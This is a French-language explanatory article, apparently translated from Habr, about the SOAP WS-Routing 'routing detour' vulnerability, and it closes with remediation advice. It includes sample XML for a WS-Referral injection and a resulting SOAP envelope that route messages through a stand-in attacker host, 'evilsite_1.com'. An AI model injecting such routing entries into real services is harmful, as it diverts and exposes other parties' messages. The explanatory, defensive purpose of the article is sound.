Vulnérabilité de détournement de routage SOAP

La description


Le WS-Routing Protocol est un protocole d'Ă©change de messages SOAP d'un expĂ©diteur de message initial vers un rĂ©cepteur, gĂ©nĂ©ralement via un ensemble d'intermĂ©diaires. Le protocole WS-Routing est implĂ©mentĂ© en tant qu'extension SOAP et est intĂ©grĂ© dans l'en-tĂȘte SOAP. WS-Routing est souvent utilisĂ© pour fournir un moyen de diriger le trafic XML Ă  travers des environnements et des transactions complexes en permettant aux stations intermĂ©diaires du chemin XML d'attribuer des instructions de routage Ă  un document XML.

En adoptant une approche minimaliste, WS-Routing encapsule un chemin de message dans un message SOAP, afin que le message contienne suffisamment d'informations pour ĂȘtre envoyĂ© sur Internet Ă  l'aide de transports comme TCP et UDP tout en prenant en charge:

  • Le modĂšle de chemin de message SOAP,
  • ModĂšles de messages unidirectionnels en duplex intĂ©gral,
  • ModĂšles de message en duplex intĂ©gral, demande-rĂ©ponse, et
  • CorrĂ©lation des messages.

Les dĂ©tours de routage sont un type d'attaque de type "l'homme au milieu" oĂč des intermĂ©diaires peuvent ĂȘtre injectĂ©s ou "dĂ©tournĂ©s" pour acheminer des messages sensibles vers un emplacement extĂ©rieur. Les informations de routage (dans l'en-tĂȘte HTTP ou dans l'en-tĂȘte WS-Routing) peuvent ĂȘtre modifiĂ©es en cours de route et les traces du routage peuvent ĂȘtre supprimĂ©es de l'en-tĂȘte et du message de sorte que l'application rĂ©ceptrice ne soit pas plus sage qu'un dĂ©tour de routage se soit produit.

ProblĂšme principal


L'attaquant injecte un nƓud de routage bidon (Ă  l'aide d'un service WS-Referral) dans la table de routage de l'en-tĂȘte XML du message SOAP identifiĂ© lors de la phase d'exploration. Ainsi, l'attaquant peut router le message XML vers le nƓud contrĂŽlĂ© par l'attaquant (et accĂ©der au contenu du message)

Exemple d'injection WS-Routing basĂ©e sur WS-Referral de la route du nƓud faux


<r:ref xmlns:r="http://schemas.example.com/referral"> <r:for> <r:prefix>http://example_2.com/router</r:prefix> </r:for> <r:if/> <r:go> <r:via>http://evilsite_1.com/router</r:via> </r:go> </r:ref> 

Attaque de détournement de routage résultante


 <S:Envelope> <S:Header> <m:path xmlns:m="http://schemas.example.com/rp/" S:actor="http://schemas.example.com/soap/actor" S:mustUnderstand="1"> <m:action>http://example_0.com/</m:action> <m:to>http://example_4.com/router</m:to> <m:id>uuid:1235678-abcd-1a2b-3c4d-1a2b3c4d5e6f</m:id> <m:fwd> <m:via>http://example_2.com/router</m:via> <m:via>http://evilesite_1.com/router</m:via> <m:via>http://example_3.com/router</m:via> </m:fwd> <m:rev /> </m:path> </S:Header> <S:Body> ... </S:Body> </S:Envelope> 

Conséquence


Ainsi, en utilisant Routing Detour, l'attaquant peut router le message XML vers un nƓud contrĂŽlĂ© par un pirate (et accĂ©der au contenu du message).

Assainissement général


Conception: spĂ©cifiez le nombre maximal de nƓuds intermĂ©diaires pour la demande et exigez des connexions SSL avec authentification mutuelle.

Implémentation: utilisez SSL pour les connexions entre toutes les parties avec authentification mutuelle

Source: https://habr.com/ru/post/fr467681/


All Articles